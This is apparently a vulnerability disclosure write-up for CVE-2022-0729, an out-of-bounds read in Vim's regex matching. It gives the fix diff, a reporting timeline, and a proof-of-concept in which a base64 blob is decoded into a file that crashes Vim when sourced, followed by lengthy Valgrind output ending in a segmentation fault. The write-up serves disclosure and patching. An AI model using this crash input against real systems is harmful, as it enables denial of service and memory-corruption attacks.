CVE-2022-0729

Description

The vim is popular editor to able use in linux/mac. In versions below 8.2.4440, Use of Out-of-range Pointer Offset vulnerability occur.

1
2
3
4
5
6
7
8
9
10
11
			    if (rex.input == rex.line)
{
// backup to last char of previous line
+ if (rex.lnum == 0)
+ {
+ status = RA_NOMATCH;
+ break;
+ }
--rex.lnum;
rex.line = reg_getline(rex.lnum);
// Just in case regrepeat() didn't count

This issue was fixed as above.


Proof of Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
$ echo "dnMgIDPKKSAwMGNtZGxicmVh4OvbmfsA3ykA3/8wAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAhAAAA
AAAAAODr3/f/fwAAAAAAAAAAAPZRIwAAAAAAa3N5bWxpbmsgCmJcJlx6cypcenMqQGU=" | base64 -d > poc
$ ~/valgrind/vg-in-place -s ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
==3464770== Memcheck, a memory error detector
==3464770== Copyright (C) 2002-2017, and GNU GPL\'d, by Julian Seward et al.
==3464770== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyright info
==3464770==

==3464770== Invalid read of size 1
==3464770== at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770== by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770== by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== Invalid read of size 1
==3464770== at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770== by 0x302DF2: ex_source (scriptfile.c:1124)
==3464770== Address 0x0 is not stack'd, malloc'd or (recently) free\'d
==3464770==
==3464770==
==3464770== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==3464770== at 0x4E2855B: kill (syscall-template.S:78)
==3464770== by 0x29B657: may_core_dump (os_unix.c:3508)
==3464770== by 0x29B60B: mch_exit (os_unix.c:3474)
==3464770== by 0x418097: getout (main.c:1719)
==3464770== by 0x25DA19: preserve_exit (misc1.c:2194)
==3464770== by 0x298E52: deathtrap (os_unix.c:1154)
==3464770== by 0x4E2820F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==3464770== by 0x2CE707: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770==
==3464770== HEAP SUMMARY:
==3464770== in use at exit: 145,623 bytes in 572 blocks
==3464770== total heap usage: 1,218 allocs, 646 frees, 8,385,845 bytes allocated
==3464770==
==3464770== LEAK SUMMARY:
==3464770== definitely lost: 2,521 bytes in 3 blocks
==3464770== indirectly lost: 0 bytes in 0 blocks
==3464770== possibly lost: 0 bytes in 0 blocks
==3464770== still reachable: 143,102 bytes in 569 blocks
==3464770== suppressed: 0 bytes in 0 blocks
==3464770== Rerun with --leak-check=full to see details of leaked memory
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
==3464770==
==3464770== 1 errors in context 1 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CE708: bt_regexec_both (regexp_bt.c:4960)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== by 0x302DAD: cmd_source (scriptfile.c:1098)
==3464770== by 0x302DF2: ex_source (scriptfile.c:1124)
==3464770== Address 0x0 is not stack\'d, malloc'd or (recently) free\'d
==3464770==
==3464770==
==3464770== 1 errors in context 2 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CDC89: regmatch (regexp_bt.c:4649)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 3 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2CDC72: regmatch (regexp_bt.c:4648)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== by 0x303977: do_source (scriptfile.c:1516)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 4 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x2C9884: regrepeat (regexp_bt.c:2740)
==3464770== by 0x2CCC78: regmatch (regexp_bt.c:4175)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 1 errors in context 5 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x24838F: utf_head_off (mbyte.c:3866)
==3464770== by 0x2CDBD6: regmatch (regexp_bt.c:4628)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 2 errors in context 6 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x246A18: utf_ptr2char (mbyte.c:1789)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770==
==3464770== 2 errors in context 7 of 7:
==3464770== Invalid read of size 1
==3464770== at 0x246A0D: utf_ptr2char (mbyte.c:1788)
==3464770== by 0x2CA9B8: regmatch (regexp_bt.c:3317)
==3464770== by 0x2CDE36: regtry (regexp_bt.c:4717)
==3464770== by 0x2CE6C1: bt_regexec_both (regexp_bt.c:4950)
==3464770== by 0x2CE96A: bt_regexec_nl (regexp_bt.c:5040)
==3464770== by 0x2F035C: vim_regexec_string (regexp.c:2770)
==3464770== by 0x2F0577: vim_regexec (regexp.c:2814)
==3464770== by 0x14D070: fname_match (buffer.c:2901)
==3464770== by 0x14CFFC: buflist_match (buffer.c:2879)
==3464770== by 0x14C822: buflist_findpat (buffer.c:2663)
==3464770== by 0x1D0EAF: do_one_cmd (ex_docmd.c:2532)
==3464770== by 0x1CE239: do_cmdline (ex_docmd.c:993)
==3464770== Address 0x51360bf is 1 bytes before a block of size 73 alloc\'d
==3464770== at 0x483C855: malloc (vg_replace_malloc.c:381)
==3464770== by 0x13F450: lalloc (alloc.c:248)
==3464770== by 0x13F2EF: alloc (alloc.c:151)
==3464770== by 0x33F5F1: vim_strsave (strings.c:27)
==3464770== by 0x1F8C06: FullName_save (filepath.c:3043)
==3464770== by 0x1532A1: fix_fname (buffer.c:5162)
==3464770== by 0x1532F0: fname_expand (buffer.c:5205)
==3464770== by 0x14B167: buflist_new (buffer.c:2005)
==3464770== by 0x1C67A8: do_ecmd (ex_cmds.c:2680)
==3464770== by 0x1D98CB: do_exedit (ex_docmd.c:7014)
==3464770== by 0x1D8C16: ex_splitview (ex_docmd.c:6631)
==3464770== by 0x1D0F7F: do_one_cmd (ex_docmd.c:2567)
==3464770==
==3464770== ERROR SUMMARY: 9 errors from 7 contexts (suppressed: 0 from 0)
Segmentation fault

Reporting Timeline

  • 2022-02-21 17h 00m : Reported this issue via the huntr
  • 2022-02-22 22h 27m : Validated this issue by Bram Moolenaar
  • 2022-02-22 22h 39m : Patched this issue by Bram Moolenaar
  • 2022-02-22 22h 39m : Assigned a CVE-2022-0729

Reference